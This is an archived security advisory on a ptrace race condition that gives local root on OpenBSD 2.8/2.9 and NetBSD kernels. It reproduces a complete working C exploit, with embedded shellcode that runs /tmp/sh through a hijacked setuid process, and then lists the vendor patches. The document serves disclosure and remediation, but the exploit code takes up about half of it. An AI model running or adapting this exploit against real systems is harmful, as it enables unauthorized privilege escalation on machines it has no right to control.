COMMAND

    kernel

SYSTEMS AFFECTED

    OpenBSD 2.9,2.8, NetBSD

PROBLEM

    Following is  based on  a Georgi  Guninski security  advisory #47.
    There is local root compromise in  OpenBSD 2.9, 2.8 due to a  race
    probably in the kernel.  This is quite similar to the linux kernel
    race several months ago.

    By forking a few process it  is possible to attach to +s  pid with
    ptrace.  The  process seems to  be in a  strange state when  it is
    attached.  Contrary  to the man  info PT_DETACH allows  specifying
    an address to which execution is continued.

    Exploit:

    /* Written by Georgi Guninski http://www.guninski.com
    Tested on OpenBSD 2.9 and 2.8
    Works best after reboot - the +s program must not be executed before, seems
    executes /tmp/sh
    /tmp/su must be a link to +s program
    if the +s program has been executed, create and run shell script the size of RAM
    You may need to type "fg" if the program receives stop signal
    you may need to run the program several times
    */

    #include <stdio.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <signal.h>
    #include <sys/ptrace.h>
    #include <sys/wait.h>
    #include <limits.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <machine/reg.h>

    int me=0;

    void endit(int x)
    {
    if(!me)
     {
     printf("exiting\n");
     exit(0);
     }
    }

    extern char **environ;
    int main(int ac, char **av)
    {

    volatile struct reg pt;

    //exec "/tmp/sh"
    char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                      "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
                      "\xb0\x3b\x50\xcd\x80\x90\x90\x90";

    int j,status,sig;
    volatile int done=0;
    volatile static int done2=0;
    int pid,pid2,i;
    int num; // number of processes to fork. 20 works for me on Pentium500
    int target;

    char *env1;
    // address of $joro where execution of shell code begins.may need to be changed
    unsigned int breakat=0xdfbfddaf;
    num=20;
    pid=getpid();
    if(!getenv("joro"))
    {
    setenv("joro",bsdshell,1);
    if (execle(av[0],"a",NULL,environ))
     perror("exec");
    }
    else
     breakat=(int)getenv("joro");
    printf("Written by Georgi Guninski\nShall jump to %x\n",breakat);
    target=pid;
    printf("Started pid1=%d target=%d\n",pid,target);
    for(i=0;i<num;i++)
     {
     if (!done)
      if(! (pid2 = fork()))
      {
       signal(SIGURG,&endit);
       pid2=getpid();
       while(!done)
       {
        if (!ptrace(PT_ATTACH, target,NULL,NULL))
       {
       done=1;
       printf("\nAttached!\n");

       wait(&status);
       sig=WSTOPSIG(status);

      printf("sig=%d %s\n",status,sys_siglist[sig]);
      ptrace(PT_GETREGS,target,(caddr_t)&pt,NULL);
      printf("eip=%x esp=%x\n",pt.r_eip,pt.r_esp);

     me=1;
     done2 +=1;

      ptrace(PT_DETACH, target,(caddr_t)breakat,NULL);

    //sleep(2);
    kill(0,SIGURG);
    sleep(4);
    while(42)
     kill(target,SIGCONT);
       }
      }
      }
     }
    // "/tmp/su" must be symbolic link to +s program .
    // the program must not be executed before.
    execle("/tmp/su","/usr/bin/su",NULL,environ);
    }

    In testing the recent obsd  exploit by Georgi Guninski out,  James
    Babiak has found out that  my OpenBSD 2.8 box was  not vulnerable.
    He has come to the conclusion that those boxes with the  stephanie
    kernel patches  by Mike  Schiffman and  doe are  not vulnerable to
    this exploit, at least without modifying the exploit itself.   The
    stephanie patches do  not have hard  link restrictions.   However,
    on  tested  box  /tmp  is  its  own partition (duh), therefore not
    allowing You to do a cross-device link.

SOLUTION

    It been fixed the patch is available:

        ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.8/common/030_kernexc.patch
        ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.9/common/007_kernexec.patch

    The  fix  has  also  been  committed  to  the  2.8  and 2.9 stable
    branches.

    For NetBSD kernel sources must  be updated and a new  kernel built
    and installed.  The instructions for updating your kernel  sources
    depend upon which particular NetBSD release you are running.

    Systems running NetBSD-current dated from before 2001-06-15 should
    be  upgraded  to  NetBSD-current  dated  2001-06-15 or later.  The
    following  source  directories  need   to  be  updated  from   the
    netbsd-current CVS branch (aka HEAD):

        src/sys/compat/netbsd32
        src/sys/kern

    Alternatively, apply  the following  patch (with  potential offset
    differences):

        ftp://ftp.netbsd.org/pub/NetBSD/security/patches/SA2001-009-ptrace-1.5.patch

    Systems running NetBSD 1.5 dated from before 2001-06-17 should  be
    upgraded from NetBSD 1.5 sources  dated 2001-06-17 or later.   The
    following  source  directories  need   to  be  updated  from   the
    netbsd-1-5 CVS branch:

        src/sys/compat/netbsd32
        src/sys/kern

    Alternatively, apply  the following  patch (with  potential offset
    differences):

        ftp://ftp.netbsd.org/pub/NetBSD/security/patches/SA2001-009-ptrace-1.5.patch

    NetBSD 1.5.1 is not vulnerable.

    It is believed the 1.4 versions are vulnerable to this issue,  but
    a  working  exploit  could  not  be  produced.   The  following is
    recommended action for  1.4 systems.   Systems running NetBSD  1.4
    dated from before  2001-07-19 should be  upgraded from NetBSD  1.4
    sources dated 2001-07-19 or later.  The following source directory
    needs to be updated from the netbsd-1-4 CVS branch:

        src/sys/kern

    Alternatively, apply  the following  patch (with  potential offset
    differences):

        ftp://ftp.netbsd.org/pub/NetBSD/security/patches/SA2001-009-ptrace-1.4.patch